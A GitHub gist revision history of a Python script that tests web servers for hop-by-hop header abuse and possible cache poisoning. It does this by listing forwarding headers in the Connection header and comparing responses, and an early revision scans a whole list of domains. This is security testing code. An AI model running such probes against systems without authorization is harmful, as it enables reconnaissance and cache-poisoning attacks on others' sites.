Skip to content

Instantly share code, notes, and snippets.

@aashishsec
Forked from ndavison/hbh-header-abuse-test.py
Created December 28, 2023 04:54
Show Gist options
  • Save aashishsec/e2e6828aad823f98b66b973d1014b954 to your computer and use it in GitHub Desktop.
Save aashishsec/e2e6828aad823f98b66b973d1014b954 to your computer and use it in GitHub Desktop.

Revisions

  1. @ndavison ndavison revised this gist Aug 6, 2021. 1 changed file with 9 additions and 9 deletions.
    18 changes: 9 additions & 9 deletions hbh-header-abuse-test.py
    Original file line number Diff line number Diff line change
    @@ -34,32 +34,32 @@
    # try a normal request and one with the hop-by-hop headers (and a cache buster to avoid accidental cache poisoning)
    try:
    if args.verbose:
    print "Trying %s?%s" % (args.url, params1['cb'])
    print("Trying %s?%s" % (args.url, params1['cb']))
    res1 = requests.get(args.url, params=params1, allow_redirects=False)
    if args.verbose:
    print 'Trying %s?%s with hop-by-hop headers "%s"' % (args.url, params2['cb'], args.headers)
    print('Trying %s?%s with hop-by-hop headers "%s"' % (args.url, params2['cb'], args.headers))
    res2 = requests.get(args.url, headers=headers, params=params2, allow_redirects=False)
    except requests.exceptions.ConnectionError as e:
    print e
    print(e)
    exit(1)

    # did adding the HbH headers cause a different response?
    if res1.status_code != res2.status_code or (not args.disable_size_check and len(res1.content) != len(res2.content)):
    if res1.status_code != res2.status_code:
    print '%s returns a %s, but returned a %s with the hop-by-hop headers of "%s"' % (args.url, res1.status_code, res2.status_code, args.headers)
    print('%s returns a %s, but returned a %s with the hop-by-hop headers of "%s"' % (args.url, res1.status_code, res2.status_code, args.headers))
    if not args.disable_size_check and len(res1.content) != len(res2.content):
    print '%s was %s in response size, but was %s with the hop-by-hop headers of "%s"' % (args.url, len(res1.content), len(res2.content), args.headers)
    print('%s was %s in response size, but was %s with the hop-by-hop headers of "%s"' % (args.url, len(res1.content), len(res2.content), args.headers))
    # if enabled, run the cache poison test by quering the HbH request's cache buster without the HbH headers and comparing status codes
    if args.cache_test:
    try:
    res3 = requests.get(args.url, params=params2, allow_redirects=False)
    except requests.exceptions.ConnectionError as e:
    print e
    print(e)
    exit(1)
    if res3.status_code == res2.status_code:
    print '%s?cb=%s poisoned?' % (args.url, params2['cb'])
    print('%s?cb=%s poisoned?' % (args.url, params2['cb']))
    else:
    print 'No poisoning detected'
    print('No poisoning detected')
    else:
    if args.verbose:
    print 'No change detected requesting "%s" with the hop-by-hop headers "%s"' % (args.url, args.headers)
    print('No change detected requesting "%s" with the hop-by-hop headers "%s"' % (args.url, args.headers))
  2. Nathan revised this gist Oct 29, 2019. 1 changed file with 3 additions and 1 deletion.
    4 changes: 3 additions & 1 deletion hbh-header-abuse-test.py
    Original file line number Diff line number Diff line change
    @@ -1,3 +1,5 @@
    # github.com/ndavison

    import requests
    import random
    import string
    @@ -20,7 +22,7 @@
    letters = string.ascii_lowercase

    headers = {
    'Connection': 'close, %s' % args.headers
    'Connection': 'keep-alive, %s' % args.headers
    }
    params1 = {
    'cb': ''.join(random.choice(letters) for i in range(10))
  3. Nathan revised this gist Oct 29, 2019. 1 changed file with 17 additions and 7 deletions.
    24 changes: 17 additions & 7 deletions hbh-header-abuse-test.py
    Original file line number Diff line number Diff line change
    @@ -8,6 +8,8 @@
    parser.add_argument("-u", "--url", help="URL to target (without query string)")
    parser.add_argument("-x", "--headers", default="X-Forwarded-For", help="A comma separated list of headers to add as hop-by-hop")
    parser.add_argument("-c", "--cache-test", action="store_true", help="Test for cache poisoning")
    parser.add_argument("-d", "--disable-size-check", action="store_true", help="Don't compare response size when detecting changes between normal and hop-by-hop requests")
    parser.add_argument("-v", "--verbose", action="store_true", help="More output")

    args = parser.parse_args()

    @@ -29,25 +31,33 @@

    # try a normal request and one with the hop-by-hop headers (and a cache buster to avoid accidental cache poisoning)
    try:
    req1 = requests.get(args.url, params=params1, allow_redirects=False)
    req2 = requests.get(args.url, headers=headers, params=params2, allow_redirects=False)
    if args.verbose:
    print "Trying %s?%s" % (args.url, params1['cb'])
    res1 = requests.get(args.url, params=params1, allow_redirects=False)
    if args.verbose:
    print 'Trying %s?%s with hop-by-hop headers "%s"' % (args.url, params2['cb'], args.headers)
    res2 = requests.get(args.url, headers=headers, params=params2, allow_redirects=False)
    except requests.exceptions.ConnectionError as e:
    print e
    exit(1)

    # did adding the HbH headers cause a different response?
    if req1.status_code != req2.status_code:
    print '%s normally returns a %s, but returned a %s with the hop-by-hop headers of "%s"' % (args.url, req1.status_code, req2.status_code, args.headers)
    if res1.status_code != res2.status_code or (not args.disable_size_check and len(res1.content) != len(res2.content)):
    if res1.status_code != res2.status_code:
    print '%s returns a %s, but returned a %s with the hop-by-hop headers of "%s"' % (args.url, res1.status_code, res2.status_code, args.headers)
    if not args.disable_size_check and len(res1.content) != len(res2.content):
    print '%s was %s in response size, but was %s with the hop-by-hop headers of "%s"' % (args.url, len(res1.content), len(res2.content), args.headers)
    # if enabled, run the cache poison test by quering the HbH request's cache buster without the HbH headers and comparing status codes
    if args.cache_test:
    try:
    req3 = requests.get(args.url, params=params2, allow_redirects=False)
    res3 = requests.get(args.url, params=params2, allow_redirects=False)
    except requests.exceptions.ConnectionError as e:
    print e
    exit(1)
    if req3.status_code == req2.status_code:
    if res3.status_code == res2.status_code:
    print '%s?cb=%s poisoned?' % (args.url, params2['cb'])
    else:
    print 'No poisoning detected'
    else:
    print '%s did NOT return a different status code with the hop-by-hop headers "%s"' % (args.url, args.headers)
    if args.verbose:
    print 'No change detected requesting "%s" with the hop-by-hop headers "%s"' % (args.url, args.headers)
  4. Nathan revised this gist Oct 28, 2019. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion hbh-header-abuse-test.py
    Original file line number Diff line number Diff line change
    @@ -4,7 +4,7 @@
    from argparse import ArgumentParser


    parser = ArgumentParser(description="Attempts to find hop-by-hop header against the provided URL.")
    parser = ArgumentParser(description="Attempts to find hop-by-hop header abuse potential against the provided URL.")
    parser.add_argument("-u", "--url", help="URL to target (without query string)")
    parser.add_argument("-x", "--headers", default="X-Forwarded-For", help="A comma separated list of headers to add as hop-by-hop")
    parser.add_argument("-c", "--cache-test", action="store_true", help="Test for cache poisoning")
  5. Nathan renamed this gist Oct 28, 2019. 1 changed file with 0 additions and 0 deletions.
    File renamed without changes.
  6. Nathan revised this gist Oct 28, 2019. 1 changed file with 17 additions and 14 deletions.
    31 changes: 17 additions & 14 deletions poison-test.py
    Original file line number Diff line number Diff line change
    @@ -4,9 +4,10 @@
    from argparse import ArgumentParser


    parser = ArgumentParser(description="Attempts to find cache poisoning caused by hop-by-hop header abuse against the provided URL.")
    parser = ArgumentParser(description="Attempts to find hop-by-hop header against the provided URL.")
    parser.add_argument("-u", "--url", help="URL to target (without query string)")
    parser.add_argument("-x", "--headers", default="X-Forwarded-Proto", help="A comma separated list of headers to add as hop-by-hop")
    parser.add_argument("-x", "--headers", default="X-Forwarded-For", help="A comma separated list of headers to add as hop-by-hop")
    parser.add_argument("-c", "--cache-test", action="store_true", help="Test for cache poisoning")

    args = parser.parse_args()

    @@ -26,25 +27,27 @@
    'cb': ''.join(random.choice(letters) for i in range(10))
    }

    # try a normal request and one with the hop-by-hop headers (and a cache buster to avoid real poisoning)
    # try a normal request and one with the hop-by-hop headers (and a cache buster to avoid accidental cache poisoning)
    try:
    req1 = requests.get(args.url, params=params1, allow_redirects=False)
    req2 = requests.get(args.url, headers=headers, params=params2, allow_redirects=False)
    except requests.exceptions.ConnectionError as e:
    print e
    exit(1)

    # if HbH headers cause a different response code, try and see if we poisoned cache
    # did adding the HbH headers cause a different response?
    if req1.status_code != req2.status_code:
    print '%s normally returns a %s, but returned a %s with the hop-by-hop headers of "%s"' % (args.url, req1.status_code, req2.status_code, args.headers)
    try:
    req3 = requests.get(args.url, params=params2, allow_redirects=False)
    except requests.exceptions.ConnectionError as e:
    print e
    exit(1)
    if req3.status_code == req2.status_code:
    print '%s?cb=%s poisoned?' % (args.url, params2['cb'])
    else:
    print 'No poisoning detected'
    # if enabled, run the cache poison test by quering the HbH request's cache buster without the HbH headers and comparing status codes
    if args.cache_test:
    try:
    req3 = requests.get(args.url, params=params2, allow_redirects=False)
    except requests.exceptions.ConnectionError as e:
    print e
    exit(1)
    if req3.status_code == req2.status_code:
    print '%s?cb=%s poisoned?' % (args.url, params2['cb'])
    else:
    print 'No poisoning detected'
    else:
    print '%s did NOT return a different status code with the hop-by-hop headers "%s"' % (args.url, args.headers)
    print '%s did NOT return a different status code with the hop-by-hop headers "%s"' % (args.url, args.headers)
  7. Nathan revised this gist Oct 25, 2019. 1 changed file with 4 additions and 2 deletions.
    6 changes: 4 additions & 2 deletions poison-test.py
    Original file line number Diff line number Diff line change
    @@ -31,15 +31,17 @@
    req1 = requests.get(args.url, params=params1, allow_redirects=False)
    req2 = requests.get(args.url, headers=headers, params=params2, allow_redirects=False)
    except requests.exceptions.ConnectionError as e:
    pass
    print e
    exit(1)

    # if HbH headers cause a different response code, try and see if we poisoned cache
    if req1.status_code != req2.status_code:
    print '%s normally returns a %s, but returned a %s with the hop-by-hop headers of "%s"' % (args.url, req1.status_code, req2.status_code, args.headers)
    try:
    req3 = requests.get(args.url, params=params2, allow_redirects=False)
    except requests.exceptions.ConnectionError as e:
    pass
    print e
    exit(1)
    if req3.status_code == req2.status_code:
    print '%s?cb=%s poisoned?' % (args.url, params2['cb'])
    else:
  8. Nathan revised this gist Oct 25, 2019. 1 changed file with 2 additions and 0 deletions.
    2 changes: 2 additions & 0 deletions poison-test.py
    Original file line number Diff line number Diff line change
    @@ -42,5 +42,7 @@
    pass
    if req3.status_code == req2.status_code:
    print '%s?cb=%s poisoned?' % (args.url, params2['cb'])
    else:
    print 'No poisoning detected'
    else:
    print '%s did NOT return a different status code with the hop-by-hop headers "%s"' % (args.url, args.headers)
  9. Nathan revised this gist Oct 25, 2019. 1 changed file with 40 additions and 35 deletions.
    75 changes: 40 additions & 35 deletions poison-test.py
    Original file line number Diff line number Diff line change
    @@ -1,41 +1,46 @@
    import requests
    import random
    import string
    from argparse import ArgumentParser


    parser = ArgumentParser(description="Attempts to find cache poisoning caused by hop-by-hop header abuse against the provided URL.")
    parser.add_argument("-u", "--url", help="URL to target (without query string)")
    parser.add_argument("-x", "--headers", default="X-Forwarded-Proto", help="A comma separated list of headers to add as hop-by-hop")

    args = parser.parse_args()

    if not args.url:
    print('Must supply a URL to target')
    exit(1)

    letters = string.ascii_lowercase

    with open('domains.txt') as fp:
    for domain in fp:
    if '*' not in domain:
    headers = {
    'Connection': 'close, X-Forwarded-For, X-Forwarded-Host, X-Forwarded-Proto',
    }
    params1 = {
    'cb': ''.join(random.choice(letters) for i in range(10))
    }
    params2 = {
    'cb': ''.join(random.choice(letters) for i in range(10))
    }
    if 'https://' not in domain and 'http://' not in domain:
    domain = 'https://%s' % domain.strip()

    # try a normal request and one with our hop-by-hop headers (and a cache buster)
    try:
    req1 = requests.get(domain, params=params1, allow_redirects=False)
    req2 = requests.get(domain, headers=headers, params=params2, allow_redirects=False)
    except requests.exceptions.ConnectionError as e:
    pass
    except requests.exceptions.SSLError as e:
    pass

    # if HbH headers cause a different response code, try and see if we poisoned cache
    if req1.status_code != req2.status_code:
    print '%s %s %s %s' % (domain, params2, req1.status_code, req2.status_code)
    try:
    req3 = requests.get(domain, params=params2, allow_redirects=False)
    except requests.exceptions.ConnectionError as e:
    pass
    except requests.exceptions.SSLError as e:
    pass
    if req3.status_code == req2.status_code:
    print '%s/?cb=%s %s, poisoned?' % (domain, req3.status_code, params2['cb'])
    headers = {
    'Connection': 'close, %s' % args.headers
    }
    params1 = {
    'cb': ''.join(random.choice(letters) for i in range(10))
    }
    params2 = {
    'cb': ''.join(random.choice(letters) for i in range(10))
    }

    # try a normal request and one with the hop-by-hop headers (and a cache buster to avoid real poisoning)
    try:
    req1 = requests.get(args.url, params=params1, allow_redirects=False)
    req2 = requests.get(args.url, headers=headers, params=params2, allow_redirects=False)
    except requests.exceptions.ConnectionError as e:
    pass

    # if HbH headers cause a different response code, try and see if we poisoned cache
    if req1.status_code != req2.status_code:
    print '%s normally returns a %s, but returned a %s with the hop-by-hop headers of "%s"' % (args.url, req1.status_code, req2.status_code, args.headers)
    try:
    req3 = requests.get(args.url, params=params2, allow_redirects=False)
    except requests.exceptions.ConnectionError as e:
    pass
    if req3.status_code == req2.status_code:
    print '%s?cb=%s poisoned?' % (args.url, params2['cb'])
    else:
    print '%s did NOT return a different status code with the hop-by-hop headers "%s"' % (args.url, args.headers)
  10. Nathan created this gist Oct 24, 2019.
    41 changes: 41 additions & 0 deletions poison-test.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,41 @@
    import requests
    import random
    import string

    letters = string.ascii_lowercase

    with open('domains.txt') as fp:
    for domain in fp:
    if '*' not in domain:
    headers = {
    'Connection': 'close, X-Forwarded-For, X-Forwarded-Host, X-Forwarded-Proto',
    }
    params1 = {
    'cb': ''.join(random.choice(letters) for i in range(10))
    }
    params2 = {
    'cb': ''.join(random.choice(letters) for i in range(10))
    }
    if 'https://' not in domain and 'http://' not in domain:
    domain = 'https://%s' % domain.strip()

    # try a normal request and one with our hop-by-hop headers (and a cache buster)
    try:
    req1 = requests.get(domain, params=params1, allow_redirects=False)
    req2 = requests.get(domain, headers=headers, params=params2, allow_redirects=False)
    except requests.exceptions.ConnectionError as e:
    pass
    except requests.exceptions.SSLError as e:
    pass

    # if HbH headers cause a different response code, try and see if we poisoned cache
    if req1.status_code != req2.status_code:
    print '%s %s %s %s' % (domain, params2, req1.status_code, req2.status_code)
    try:
    req3 = requests.get(domain, params=params2, allow_redirects=False)
    except requests.exceptions.ConnectionError as e:
    pass
    except requests.exceptions.SSLError as e:
    pass
    if req3.status_code == req2.status_code:
    print '%s/?cb=%s %s, poisoned?' % (domain, req3.status_code, params2['cb'])